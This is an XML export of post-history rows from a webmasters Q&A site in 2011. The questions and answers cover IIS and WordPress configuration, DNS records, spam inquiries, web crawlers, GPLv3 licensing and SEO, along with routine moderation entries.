  <row Id="38849" PostHistoryTypeId="2" PostId="16320" RevisionGUID="5baf099d-3de2-480d-98e0-4729ee10aa8f" CreationDate="2011-07-01T10:30:35.290" UserDisplayName="user582232" Text="I am trying to setup a Wordpress blog to run in the subdirectory of an ASP.NET wbforms application so I can have http://www.myapplication.com/blog&#xD;&#xA;&#xD;&#xA;I have Wordpress running on IIS 7 fine as it's own application but when I create the 'blog' subdirectory and set it to be an application with the Wordpress folder as the application root. I keep coming up against a configuration error...&#xD;&#xA;&#xD;&#xA;    HTTP Error 500.19 - Internal Server Error&#xD;&#xA;    Config Error	Configuration section not allowed to be set below application&#xD;&#xA;&#xD;&#xA;I've done quite a bit of searching on this and I have tried modifying the applicationHost.config file to set the following value...&#xD;&#xA;&#xD;&#xA;    &lt;section name=&quot;modules&quot; allowDefinition=&quot;MachineToApplication&quot; overrideModeDefault=&quot;Deny&quot; /&gt;&#xD;&#xA;&#xD;&#xA;But the configuration errors persist. Can anyone suggest any other config changes I need to make to allow the Wordpress application to run in the /blog subdirectory?" />
  <row Id="38850" PostHistoryTypeId="1" PostId="16320" RevisionGUID="5baf099d-3de2-480d-98e0-4729ee10aa8f" CreationDate="2011-07-01T10:30:35.290" UserDisplayName="user582232" Text="Wordpress blog in subdirectory of ASP.NET webforms application" />
  <row Id="38851" PostHistoryTypeId="3" PostId="16320" RevisionGUID="5baf099d-3de2-480d-98e0-4729ee10aa8f" CreationDate="2011-07-01T10:30:35.290" UserDisplayName="user582232" Text="&lt;php&gt;&lt;asp.net&gt;&lt;wordpress&gt;&lt;iis7&gt;" />
  <row Id="38852" PostHistoryTypeId="2" PostId="16321" RevisionGUID="c5b0823c-4297-4710-9c4b-d979b3298bbc" CreationDate="2011-07-02T08:06:58.507" UserId="8752" Text="0655 is the best permission level. There's really no reason for changing your files above this. Of course there may be a folder here or there that requires some write permissions, but for everything else 0655 will work.&#xD;&#xA;&#xD;&#xA;As a tip, make sure that all of your files are owned by apache. This can easily get changed if you ftp'd your files onto the server. So make sure you set them to apache for production sites. This will eliminate a lot of permission issues when running such a tight ship." />
  <row Id="38853" PostHistoryTypeId="2" PostId="16322" RevisionGUID="84c1bcc9-9c9d-41ab-8ccb-407aad399919" CreationDate="2011-07-02T08:10:43.807" UserId="8752" Text="Joomla with Jomsocial is probably your best bet for a facebook style website." />
  <row Id="38854" PostHistoryTypeId="2" PostId="16323" RevisionGUID="81c5fb8b-13a7-4655-bbda-181c6a055525" CreationDate="2011-07-02T09:00:18.553" UserId="8750" Text="Per your response to LazyOne and paulmorriss, I can only assume that you have an incorrect DNS configuration. We can automatically rule out that it ever gets redirected to eshop just because it shows, per your description, leads to the domain company.&#xD;&#xA;&#xD;&#xA;No where in and DNS entries that I have edited have I seen a wildcard entry (\*) like you have above for your records. As anything (\*) is automatically forwarded to your @ entry, in this case: *company.com*. Now I don't know for sure if this can affect anything, but let's go ahead and get rid of it shall we.&#xD;&#xA;&#xD;&#xA;Now your main DNS entry, the **A (Host)** entry should be looking like this:&#xD;&#xA;&#xD;&#xA;    @            A            111.111.111.111&#xD;&#xA;&#xD;&#xA;But your www record should be a **CNAME (Alias)** record, as it is an alias for your main domain; Thus looking like this:&#xD;&#xA;&#xD;&#xA;    www          CNAME        company.com&#xD;&#xA;&#xD;&#xA;Now for the catch: Once the redirect is passed on, who knows what eshop's server configuration will do to the domain. It might become truncated to only show *company.com* or it might just stay as is, *www.company.com*. I can only assume that's out of your control.&#xD;&#xA;&#xD;&#xA;Something a bit more specific to your situation: As you have posted, only 3 domains will be recognized by eshop. Is this why you choose a wildcard as one. By definition, a wildcard cannot become an alias itself. However, if you say that you can access eshop via *company.com/myshop*, then either the site is being hosted on your host (or you've done something extra that your not telling us... etc.), *OR* they can configure it to act that way. And if that's the case, then you'll never know what's working or not since they seem to be in control of things." />
  <row Id="38855" PostHistoryTypeId="25" PostId="16277" RevisionGUID="fd2cf14c-ae69-4735-9807-76e2c5abe1e8" CreationDate="2011-07-02T09:26:58.893" Comment="http://twitter.com/#!/StackWebmasters/status/87089873521082368" />
  <row Id="38856" PostHistoryTypeId="2" PostId="16324" RevisionGUID="5c57d817-ccf3-41e0-9052-4ffc3c07a51d" CreationDate="2011-07-02T09:31:51.943" UserId="8753" Text="I am not a web developer, nor have I the required knowledge to grasp this situation. &#xD;&#xA;&#xD;&#xA;I have a small company with a modest web site where I market properties.&#xD;&#xA;Recently, my website is being bombarded with spam inquires. Here are some examples:&#xD;&#xA;&#xD;&#xA;&quot;It was dark when I woke. This is a ray of sunhsnie.&quot;&#xD;&#xA;&quot;This is exactly what I was looknig for. Thanks for writing!&quot;&#xD;&#xA;&quot;What a joy to find sooemne else who thinks this way.&quot;&#xD;&#xA;&#xD;&#xA;As you can see, all of them has typos, probably for tracking the work done. &#xD;&#xA;&#xD;&#xA;I would be glad if someone can offer a solution to stop this nonsense.&#xD;&#xA;&#xD;&#xA;Thank you for sharing your time." />
  <row Id="38857" PostHistoryTypeId="1" PostId="16324" RevisionGUID="5c57d817-ccf3-41e0-9052-4ffc3c07a51d" CreationDate="2011-07-02T09:31:51.943" UserId="8753" Text="Need help for stopping spam inquiries" />
  <row Id="38858" PostHistoryTypeId="3" PostId="16324" RevisionGUID="5c57d817-ccf3-41e0-9052-4ffc3c07a51d" CreationDate="2011-07-02T09:31:51.943" UserId="8753" Text="&lt;spam&gt;&lt;spam-prevention&gt;" />
  <row Id="38859" PostHistoryTypeId="2" PostId="16325" RevisionGUID="55fd6da8-c14b-410f-bc7f-ee01e159544c" CreationDate="2011-07-02T10:05:03.147" UserId="8668" Text="After many tests I start from scratch and could make the virtual host running, don't know what was wrong before, but loading the original conf files make it happen. To remove any unwanted code not necesary I remove the Directory directive and it worked fine, then I tried adding some directives after reading the apache documentation and things where rigth.&#xD;&#xA;&#xD;&#xA;Something that was driving me mad was that fact that when the virtualHost was not found the server used a default VirtualHost. Once I understand this many headaches disapeared." />
  <row Id="38860" PostHistoryTypeId="2" PostId="16326" RevisionGUID="55f6eeae-a7fd-4e39-b5b1-d8dc9bb41f38" CreationDate="2011-07-02T10:14:35.027" UserId="5026" Text="I need to revamp my top navigation for [this website][1].  The website runs WolfCMS but the page template can accommodate any XHTML/CSS.&#xD;&#xA;&#xD;&#xA;I'd like something minimal but stylish.&#xD;&#xA;&#xD;&#xA;Any suggestions?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.george.doig.com.au/" />
  <row Id="38861" PostHistoryTypeId="1" PostId="16326" RevisionGUID="55f6eeae-a7fd-4e39-b5b1-d8dc9bb41f38" CreationDate="2011-07-02T10:14:35.027" UserId="5026" Text="Best CSS Navigation (Top/Horizontal)" />
  <row Id="38862" PostHistoryTypeId="3" PostId="16326" RevisionGUID="55f6eeae-a7fd-4e39-b5b1-d8dc9bb41f38" CreationDate="2011-07-02T10:14:35.027" UserId="5026" Text="&lt;css&gt;&lt;navigation&gt;" />
  <row Id="38863" PostHistoryTypeId="2" PostId="16327" RevisionGUID="722d8c4c-d1bf-428f-bb74-98595ce6b664" CreationDate="2011-07-02T10:22:38.607" UserId="7296" Text="See these links&#xD;&#xA;&#xD;&#xA;http://webmasters.stackexchange.com/questions/3544/make-your-site-anti-bot&#xD;&#xA;&#xD;&#xA;http://webmasters.stackexchange.com/questions/194/effective-captcha-solutions&#xD;&#xA;&#xD;&#xA;http://webmasters.stackexchange.com/questions/8046/recommended-spam-best-practices" />
  <row Id="38864" PostHistoryTypeId="2" PostId="16328" RevisionGUID="71bdb71b-40c9-47a6-ab83-4d628ea9f581" CreationDate="2011-07-02T11:26:48.210" UserId="8687" Text="I get the &quot;Insufficient data to generate the preview.&quot; message when looking at my own sites on google's rich snippets tools. After much searching I found that the message is just a generic &quot;error&quot; and doesn't actually relate to the quality of the data. It's most likely that google just doesn't support audio rich snippets yet. I think they only show previews for recipes for the time being. Though I sand to be corrected." />
  <row Id="38865" PostHistoryTypeId="25" PostId="16324" RevisionGUID="cdae138c-9693-4d40-9f9f-aa01a3420490" CreationDate="2011-07-02T12:26:58.820" Comment="http://twitter.com/#!/StackWebmasters/status/87135171610030080" />
  <row Id="38866" PostHistoryTypeId="18" PostId="16312" RevisionGUID="209a0ada-ad78-4317-a8f4-0fdb68735f6b" CreationDate="2011-07-02T12:59:07.320" UserId="108" Comment="to http://webmasters.stackexchange.com/questions/16032/php-permissions" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="38867" PostHistoryTypeId="18" PostId="16313" RevisionGUID="209a0ada-ad78-4317-a8f4-0fdb68735f6b" CreationDate="2011-07-02T12:59:07.320" UserId="108" Comment="from http://webmasters.stackexchange.com/questions/16312/php-permissions" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="38868" PostHistoryTypeId="18" PostId="16314" RevisionGUID="209a0ada-ad78-4317-a8f4-0fdb68735f6b" CreationDate="2011-07-02T12:59:07.320" UserId="108" Comment="from http://webmasters.stackexchange.com/questions/16312/php-permissions" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="38869" PostHistoryTypeId="18" PostId="16315" RevisionGUID="209a0ada-ad78-4317-a8f4-0fdb68735f6b" CreationDate="2011-07-02T12:59:07.320" UserId="108" Comment="from http://webmasters.stackexchange.com/questions/16312/php-permissions" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="38870" PostHistoryTypeId="18" PostId="16032" RevisionGUID="209a0ada-ad78-4317-a8f4-0fdb68735f6b" CreationDate="2011-07-02T12:59:07.320" UserId="108" Comment="from http://webmasters.stackexchange.com/questions/16312/php-permissions" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="38871" PostHistoryTypeId="14" PostId="16312" RevisionGUID="b85dd8f3-46be-42bb-b8a6-6b128e95002c" CreationDate="2011-07-02T12:59:07.760" UserId="108" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="38872" PostHistoryTypeId="17" PostId="16329" RevisionGUID="35ea7a68-9735-4b4c-b783-8c7719225556" CreationDate="2011-07-02T13:43:09.197" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/89082/how-does-one-set-up-a-blog-ping-friendly-site" Text="" />
  <row Id="38873" PostHistoryTypeId="2" PostId="16329" RevisionGUID="a200c27c-bbfb-4854-8447-3923646a4f8e" CreationDate="2011-07-02T12:32:42.420" UserDisplayName="Lylo" Text="Do i need an xml/rss feeds on my site for this to work. And how can one check if it the ping  failed or is working correctly. " />
  <row Id="38874" PostHistoryTypeId="1" PostId="16329" RevisionGUID="a200c27c-bbfb-4854-8447-3923646a4f8e" CreationDate="2011-07-02T12:32:42.420" UserDisplayName="Lylo" Text="How does one set up a 'blog ping' friendly site." />
  <row Id="38875" PostHistoryTypeId="3" PostId="16329" RevisionGUID="a200c27c-bbfb-4854-8447-3923646a4f8e" CreationDate="2011-07-02T12:32:42.420" UserDisplayName="Lylo" Text="&lt;blog&gt;&lt;xml&gt;" />
  <row Id="38876" PostHistoryTypeId="17" PostId="16330" RevisionGUID="cd1930c4-5c0c-4e23-ac07-c82830fce9ba" CreationDate="2011-07-02T13:57:14.027" UserId="-1" Comment="from http://superuser.com/questions/305398/nameserver-update-update-and-gmail-account" Text="" />
  <row Id="38877" PostHistoryTypeId="2" PostId="16331" RevisionGUID="8f9eeeea-a87b-490b-9cdf-90553e067c14" CreationDate="2011-07-02T13:22:10.960" UserDisplayName="KCotreau" Text="The answer is YES, unless you also copy all your current DNS records to the new DNS server too. You should do that before you move your name servers, although some control panels don't allow that until they are officially named as your name server. In that case, you make the changes ASAP although mail flow will be delayed while they propagate.&#xD;&#xA;&#xD;&#xA;Why don't you just add any new records you need within your Google DNS manager? You do not have to move your DNS to Winhost. Post back with what new records you need for Winhost, and I can tell you how to do them." />
  <row Id="38878" PostHistoryTypeId="2" PostId="16330" RevisionGUID="e44c4952-cb9b-47be-b845-cff879b58a1a" CreationDate="2011-07-02T13:06:55.210" UserDisplayName="robertlewis2001" Text="I have a domain name with GoDaddy and I have my domain name setup with Google to receive email using that domain name (name@mydomain.com). Yesterday I bought a WinHost account and had to update the nameserver information. Will changing the nameserver information to Winhost's nameserver information interrupt my google apps (specifically blogger and gmail)?" />
  <row Id="38879" PostHistoryTypeId="1" PostId="16330" RevisionGUID="e44c4952-cb9b-47be-b845-cff879b58a1a" CreationDate="2011-07-02T13:06:55.210" UserDisplayName="robertlewis2001" Text="Nameserver Update Update and Gmail Account" />
  <row Id="38880" PostHistoryTypeId="3" PostId="16330" RevisionGUID="e44c4952-cb9b-47be-b845-cff879b58a1a" CreationDate="2011-07-02T13:06:55.210" UserDisplayName="robertlewis2001" Text="&lt;gmail&gt;&lt;web-hosting&gt;&lt;nameserver&gt;" />
  <row Id="38881" PostHistoryTypeId="17" PostId="16331" RevisionGUID="45aeff11-6265-4cf0-835d-d7c9c4048dca" CreationDate="2011-07-02T13:57:14.027" UserId="-1" Comment="from http://superuser.com/questions/305398/nameserver-update-update-and-gmail-account" Text="" />
  <row Id="38882" PostHistoryTypeId="10" PostId="16326" RevisionGUID="45d1ed91-4cb4-445c-a931-6c72e30cfc77" CreationDate="2011-07-02T14:15:31.650" UserId="1253" CloseReasonId="7" Text="[{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="38883" PostHistoryTypeId="5" PostId="16324" RevisionGUID="53b4857f-9b45-4e15-a061-5ba1324f4a7b" CreationDate="2011-07-02T14:17:03.630" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Make your site anti-bot?](http://webmasters.stackexchange.com/questions/3544/make-your-site-anti-bot)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I am not a web developer, nor have I the required knowledge to grasp this situation. &#xD;&#xA;&#xD;&#xA;I have a small company with a modest web site where I market properties.&#xD;&#xA;Recently, my website is being bombarded with spam inquires. Here are some examples:&#xD;&#xA;&#xD;&#xA;&quot;It was dark when I woke. This is a ray of sunhsnie.&quot;&#xD;&#xA;&quot;This is exactly what I was looknig for. Thanks for writing!&quot;&#xD;&#xA;&quot;What a joy to find sooemne else who thinks this way.&quot;&#xD;&#xA;&#xD;&#xA;As you can see, all of them has typos, probably for tracking the work done. &#xD;&#xA;&#xD;&#xA;I would be glad if someone can offer a solution to stop this nonsense.&#xD;&#xA;&#xD;&#xA;Thank you for sharing your time." />
  <row Id="38884" PostHistoryTypeId="10" PostId="16324" RevisionGUID="2ad7c5e1-32b2-4e52-9c07-4c49ed9f7e53" CreationDate="2011-07-02T14:17:02.960" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="38885" PostHistoryTypeId="2" PostId="16332" RevisionGUID="f56c0a7a-2e8e-4b4c-b75c-8fb3c1cadd95" CreationDate="2011-07-02T14:33:56.730" UserId="8331" Text="Are spiders ever used by anyone other than search engines and spammers? If someone wanted to collect information from the web, would they ever use them?&#xD;&#xA;Thanks " />
  <row Id="38886" PostHistoryTypeId="1" PostId="16332" RevisionGUID="f56c0a7a-2e8e-4b4c-b75c-8fb3c1cadd95" CreationDate="2011-07-02T14:33:56.730" UserId="8331" Text="Anyone use Spiders apart from search engines and spammers?" />
  <row Id="38887" PostHistoryTypeId="3" PostId="16332" RevisionGUID="f56c0a7a-2e8e-4b4c-b75c-8fb3c1cadd95" CreationDate="2011-07-02T14:33:56.730" UserId="8331" Text="&lt;spider&gt;" />
  <row Id="38888" PostHistoryTypeId="25" PostId="16330" RevisionGUID="49429ce1-ed56-4d20-be6c-1b95eed346fb" CreationDate="2011-07-02T15:26:59.140" Comment="http://twitter.com/#!/StackWebmasters/status/87180471468949505" />
  <row Id="38889" PostHistoryTypeId="2" PostId="16333" RevisionGUID="f6fda44e-88e8-4823-9434-c1b0b0cdbb55" CreationDate="2011-07-02T15:29:53.847" UserId="1253" Text="Some reasons a bot may be used that come to mind for me are: &#xD;&#xA;&#xD;&#xA;- Some directories will crawl a website for its meta information (usually after a site has been submitted to the directory)&#xD;&#xA;&#xD;&#xA;- Contextual ad services like Adsense use bots to figure out what a page is about so relevant ads can be displayed&#xD;&#xA;&#xD;&#xA;- Webmasters can use bots to find potential linking partners. This *may* fall into the spammer category but I want to list it for the sake of people who don't use it maliciously.&#xD;&#xA;&#xD;&#xA;- Webmasters can use bots to verify that a link posted in a link exchange has been and still is on the partner's site" />
  <row Id="38890" PostHistoryTypeId="2" PostId="16334" RevisionGUID="7cc7f0fe-3d25-4d41-bea0-56fa990b9fa2" CreationDate="2011-07-02T15:56:55.130" UserId="8760" Text="WebDriver deliberately sets prompts.tab_modal.enabled to false to be able to deal with alerts across Firefox versions. You can't override the setting at the moment." />
  <row Id="38891" PostHistoryTypeId="2" PostId="16335" RevisionGUID="3233a26e-29e4-46d1-99b5-b70ab9622b4a" CreationDate="2011-07-02T16:08:14.063" UserId="8758" Text="I have videos in different formats (wma, mkv) with several audio tracks (one by language). I would like to make these videos available in streaming for video-on-demand.&#xD;&#xA;&#xD;&#xA;One told me that the flash video format cannot handle more than one audio track. If this is true, what are my options to provide these videos ? &#xD;&#xA;&#xD;&#xA;I have two probably working ideas and one for which I'm not sure because of flash players capabilities. &#xD;&#xA;The first idea is to create for each mkv, N flash videos, one for each sound track. This is probably easy to do with ffmpeg for example.&#xD;&#xA;This solution has the advantage of simplicity but requires much more storage, since the video part will be stored several times. &#xD;&#xA;&#xD;&#xA;The second solution would be to dynamically generate the flash video with the desired language once the customer has paid for it. I think this would be very tricky to implement correctly. It may also not be fast enough to do the conversion. So I probably forget this one. &#xD;&#xA;&#xD;&#xA;The third solution would be perfect but I don't know if it is possible at all. It consists on spliting audio and video apart and let the flash player mix the correct audio track with the video on the customer computer. I have no idea wether this is possible with adobe flash, nor if there are existing implementations. &#xD;&#xA;&#xD;&#xA;What do you think about the third option ? &#xD;&#xA;Do you have better suggestions ? &#xD;&#xA;&#xD;&#xA;Thanks !" />
  <row Id="38892" PostHistoryTypeId="1" PostId="16335" RevisionGUID="3233a26e-29e4-46d1-99b5-b70ab9622b4a" CreationDate="2011-07-02T16:08:14.063" UserId="8758" Text="Several audio tracks with a flash video" />
  <row Id="38893" PostHistoryTypeId="3" PostId="16335" RevisionGUID="3233a26e-29e4-46d1-99b5-b70ab9622b4a" CreationDate="2011-07-02T16:08:14.063" UserId="8758" Text="&lt;video&gt;&lt;flash&gt;&lt;audio&gt;" />
  <row Id="38894" PostHistoryTypeId="2" PostId="16336" RevisionGUID="cb55f15c-97ca-4b6f-b411-1ac08a8af561" CreationDate="2011-07-02T17:18:13.787" UserId="8750" Text="Considering that it is now too late, what you should of done if kept your **DNS Records** in place and just forwarded your site to the proper **IP Address**. For example:&#xD;&#xA;&#xD;&#xA;    @            A            123.456.789.012&#xD;&#xA;    www          CNAME        mydomain.com&#xD;&#xA;&#xD;&#xA;Your host should give you the proper IP to forward the traffic to. Ask them nicely. If that doesn't work, start looking for a new host." />
  <row Id="38895" PostHistoryTypeId="25" PostId="16291" RevisionGUID="858b3efc-812a-4f6f-906d-cd6605442f7d" CreationDate="2011-07-02T18:26:59.397" Comment="http://twitter.com/#!/StackWebmasters/status/87225770954604544" />
  <row Id="38896" PostHistoryTypeId="2" PostId="16337" RevisionGUID="9aaa45de-9fba-4ead-9feb-cd701804ccdf" CreationDate="2011-07-02T19:47:05.560" UserId="8560" Text="You could use a spider to crawl your own site looking for broken links." />
  <row Id="38897" PostHistoryTypeId="2" PostId="16338" RevisionGUID="e8c880da-c88e-47c2-9b18-4d7cd6e8cdfd" CreationDate="2011-07-02T19:51:55.447" UserId="7198" Text="It looks like [Flash Media Server 4](http://www.adobe.com/products/flashmediainteractive/) supports multiple audio tracks. From their [new features](http://www.adobe.com/products/flashmediainteractive/) page:&#xD;&#xA;&#xD;&#xA;&gt; ###Absolute timecode NEW   &#xD;&#xA;&gt; Ensure that existing timecodes persist &#xD;&#xA;&gt; within media files to allow for richer&#xD;&#xA;&gt; synchronization between streams,&#xD;&#xA;&gt; improving interactive experiences&#xD;&#xA;&gt; (**such as switching audio tracks** or&#xD;&#xA;&gt; camera angles) with multibitrate and&#xD;&#xA;&gt; multistream video and synchronized&#xD;&#xA;&gt; playback events.&#xD;&#xA;&#xD;&#xA;It appears that you can use it to synchronise one video stream with a choice of audio tracks in a separate stream.&#xD;&#xA;&#xD;&#xA;If you're not able to use Flash Media Server 4, you might like to consider providing one audio track with music/sound effects and your main language only, then offering captions as text over the video for multiple language support. (YouTube's [captioning page](http://www.google.com/support/youtube/bin/answer.py?answer=100077) has more information about this.)&#xD;&#xA;&#xD;&#xA;Beyond that, storing multiple versions of the same video, each with a different embedded audio track, is probably the best way to go. Yes, it uses more disk space, but storage is pretty cheap these days, and you wouldn't have to worry about synchronising multiple streams.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38898" PostHistoryTypeId="2" PostId="16339" RevisionGUID="1b989b52-d893-4392-a9c8-305714894c19" CreationDate="2011-07-02T20:31:21.543" UserId="1064" Text="There are many, many potential uses for web crawlers - a review of Wikipedia's list of [Open Source Web Crawlers][1] or examples of [Spidering Hacks][2] provided by O'Reilly may help illustrate the numerous ways webmasters and programmers utilize others' services and information.&#xD;&#xA;&#xD;&#xA;In addition to &quot;friendly&quot; spiders, you can also expect to see plenty of spambot information harvesters, scrapers, contact form spammers, and vulnerability scanners (like [Nessus][3]) in your site's access logs.&#xD;&#xA;&#xD;&#xA;Anyone who is familiar with scripting and has an interest in other sites' services can implement a spider of some variety.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Web_crawler#Open-source_crawlers&#xD;&#xA;  [2]: http://oreilly.com/catalog/spiderhks/chapter/&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Nessus_%28software%29" />
  <row Id="38899" PostHistoryTypeId="25" PostId="16095" RevisionGUID="7f9a8dbb-9573-4d5a-ab45-4ccf9b9520c1" CreationDate="2011-07-02T21:26:59.903" Comment="http://twitter.com/#!/StackWebmasters/status/87271070926774272" />
  <row Id="38900" PostHistoryTypeId="2" PostId="16340" RevisionGUID="f58c9339-c75e-4048-a09a-1753e34da1f7" CreationDate="2011-07-02T21:53:26.527" UserId="8762" Text="I am working on a &quot;webapp&quot; (no content by me, all user driven) and want to license it with the GPL 3. I do plan on having a tarball with the php, html, css, javascript, etc as well as an installer to set up a mysql database for it and some other small stuff so someone else can host a personalized one if they want (like phpbb). The GPL requires that the user be allowed to modify and run the modified software. I obviously cannot allow that on my server, but am not sure if that stopping the user like that violates the terms of the GPL. &#xD;&#xA;Also, I do plan on an easy, readable (probably csv) export/import option so the user can move their data around if they want.&#xD;&#xA;&#xD;&#xA;Is that enough to placate the GPL? " />
  <row Id="38901" PostHistoryTypeId="1" PostId="16340" RevisionGUID="f58c9339-c75e-4048-a09a-1753e34da1f7" CreationDate="2011-07-02T21:53:26.527" UserId="8762" Text="GPL 3 and &quot;webapps&quot;" />
  <row Id="38902" PostHistoryTypeId="3" PostId="16340" RevisionGUID="f58c9339-c75e-4048-a09a-1753e34da1f7" CreationDate="2011-07-02T21:53:26.527" UserId="8762" Text="&lt;php&gt;&lt;web-applications&gt;" />
  <row Id="38903" PostHistoryTypeId="2" PostId="16341" RevisionGUID="7d12b133-4ff4-4d96-971b-51a38457acaf" CreationDate="2011-07-02T22:01:25.163" UserId="8744" Text="Just FYI, we (hark.com) offer this service with lots of different player formats. " />
  <row Id="38904" PostHistoryTypeId="2" PostId="16342" RevisionGUID="18af915f-282a-48cb-a78e-074a17f7f61d" CreationDate="2011-07-02T22:32:59.690" UserId="7198" Text="**Offering the source code for download is enough.** You're not required to give users the ability to modify the source code in your hosted version.&#xD;&#xA;&#xD;&#xA;This has always been the case. The 'freedom to modify and run' does not signify a freedom to modify and run source code on a machine the user neither owns nor has admin access to.&#xD;&#xA;&#xD;&#xA;There's some clarification of the rules for installed software in the [GPLv3 FAQ](http://www.gnu.org/licenses/gpl-faq.html#v3VotingMachine):&#xD;&#xA;&#xD;&#xA;&gt; Companies distributing devices that&#xD;&#xA;&gt; include software under GPLv3 are at&#xD;&#xA;&gt; most required to provide the source&#xD;&#xA;&gt; and Installation Information for the&#xD;&#xA;&gt; software...&#xD;&#xA;&#xD;&#xA;In short, give users access to the source code and instructions to install it, and that's enough to satisfy the licence. (e.g. Like Automattic does with WordPress.)" />
  <row Id="38905" PostHistoryTypeId="2" PostId="16343" RevisionGUID="81f394e1-d7c8-4f29-b323-47f8349b7652" CreationDate="2011-07-02T23:53:30.180" UserId="8763" Text="Google webmasters shows rel nofollow links as a backlink. I belive that rel nofollow helps seo and page rank but according to the many people it is not. What is your idea about this ? Did you see that rel nofollow links also helps your ranks and seo ?" />
  <row Id="38906" PostHistoryTypeId="1" PostId="16343" RevisionGUID="81f394e1-d7c8-4f29-b323-47f8349b7652" CreationDate="2011-07-02T23:53:30.180" UserId="8763" Text="rel nofollow SEO effect" />
  <row Id="38907" PostHistoryTypeId="3" PostId="16343" RevisionGUID="81f394e1-d7c8-4f29-b323-47f8349b7652" CreationDate="2011-07-02T23:53:30.180" UserId="8763" Text="&lt;seo&gt;&lt;nofollow&gt;" />
  <row Id="38908" PostHistoryTypeId="2" PostId="16344" RevisionGUID="0b15a4e6-251b-46ec-96ba-f0e32620e2b6" CreationDate="2011-07-03T00:13:39.557" UserId="1253" Text="Rel=nofollow does not help with seo. It was created by Google to combat link spam. Links that have that attribute pass no pagerank and do not count as a backlink in any major search engine. Google may acknowledge that it found a link with nofollow but that link will have to value.&#xD;&#xA;&#xD;&#xA;[Source](http://www.google.com/support/webmasters/bin/answer.py?answer=96569)" />
  <row Id="38909" PostHistoryTypeId="17" PostId="16345" RevisionGUID="60dea77b-f83c-4443-be9d-acbcf47cb88e" CreationDate="2011-07-03T00:15:21.857" UserId="-1" Comment="from http://stackoverflow.com/questions/6558109/find-adsense-earning-from-different-websites" Text="" />
  <row Id="38910" PostHistoryTypeId="2" PostId="16345" RevisionGUID="c3c76be4-cf43-4166-b677-6cc7a8ec7a0c" CreationDate="2011-07-02T16:10:26.500" UserDisplayName="ruby" Text="I am going to add my Adsense code to one new website I've created recently.&#xD;&#xA;&#xD;&#xA;The problem is how to find out which site earned what in final earning. I need to share the earning of second site with my partner. I can setup different channel to see what each site earned but the final earning may not be the same.&#xD;&#xA;&#xD;&#xA;So how can I find out which site earned what in final earning page.&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="38911" PostHistoryTypeId="1" PostId="16345" RevisionGUID="c3c76be4-cf43-4166-b677-6cc7a8ec7a0c" CreationDate="2011-07-02T16:10:26.500" UserDisplayName="ruby" Text="find adsense earning from different websites" />
  <row Id="38912" PostHistoryTypeId="3" PostId="16345" RevisionGUID="c3c76be4-cf43-4166-b677-6cc7a8ec7a0c" CreationDate="2011-07-02T16:10:26.500" UserDisplayName="ruby" Text="&lt;google-adsense&gt;" />
  <row Id="38913" PostHistoryTypeId="25" PostId="16340" RevisionGUID="28b57300-9904-4a7c-b850-e4d6531f452f" CreationDate="2011-07-03T00:27:00.710" Comment="http://twitter.com/#!/StackWebmasters/status/87316372429864960" />
  <row Id="38914" PostHistoryTypeId="2" PostId="16346" RevisionGUID="119a0cfb-b07c-4564-96e2-a4abbeaa47ec" CreationDate="2011-07-03T03:03:33.467" UserId="576" Text="If you use IE8 &amp; above, there is a [Color Picker][1] available with Developer Tools (F12 shortcut key) that you can use to identify the color code.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mvark.blogspot.com/2008/10/ie-developer-tools-tips-tricks-1.html" />
  <row Id="38915" PostHistoryTypeId="25" PostId="16271" RevisionGUID="d1e1cc9c-6f44-42b1-a859-2df64ee306d3" CreationDate="2011-07-03T03:27:00.857" Comment="http://twitter.com/#!/StackWebmasters/status/87361672662089730" />
  <row Id="38916" PostHistoryTypeId="2" PostId="16347" RevisionGUID="ad2025c8-b7cf-41cf-8101-ea23916692fc" CreationDate="2011-07-03T03:27:30.820" UserId="8768" Text="I'm not 100% sure if this is the correct place to ask this, but I figured SO definitely wasn't it so I'll try here. On some blog posts I've seen images where they have a jagged/torn edge to them on one side which gives it a nice effect. I tried to post a crude Paint.Net imitation of what I am looking for but rep here is too low. Here is a link to the image it uploaded though: http://i.stack.imgur.com/jj3dL.png&#xD;&#xA;&#xD;&#xA;The image itself is actually in the black area and the edges are cut off with a bit of a drop shadow. What I'm looking for is possibly a plugin for Paint.Net that would give me a similar effect, or an easy example of how to do this. Since I'm actually a programmer my graphic skills are limited to resizing images and not much else.&#xD;&#xA;&#xD;&#xA;Thanks in advance!" />
  <row Id="38917" PostHistoryTypeId="1" PostId="16347" RevisionGUID="ad2025c8-b7cf-41cf-8101-ea23916692fc" CreationDate="2011-07-03T03:27:30.820" UserId="8768" Text="Images with Jagged Edges" />
  <row Id="38918" PostHistoryTypeId="3" PostId="16347" RevisionGUID="ad2025c8-b7cf-41cf-8101-ea23916692fc" CreationDate="2011-07-03T03:27:30.820" UserId="8768" Text="&lt;images&gt;&lt;graphics&gt;" />
  <row Id="38919" PostHistoryTypeId="6" PostId="12391" RevisionGUID="7ea32e87-0973-4517-93d9-ef89e142610e" CreationDate="2011-07-03T04:22:20.313" UserId="1253" Comment="modified tags" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;" />
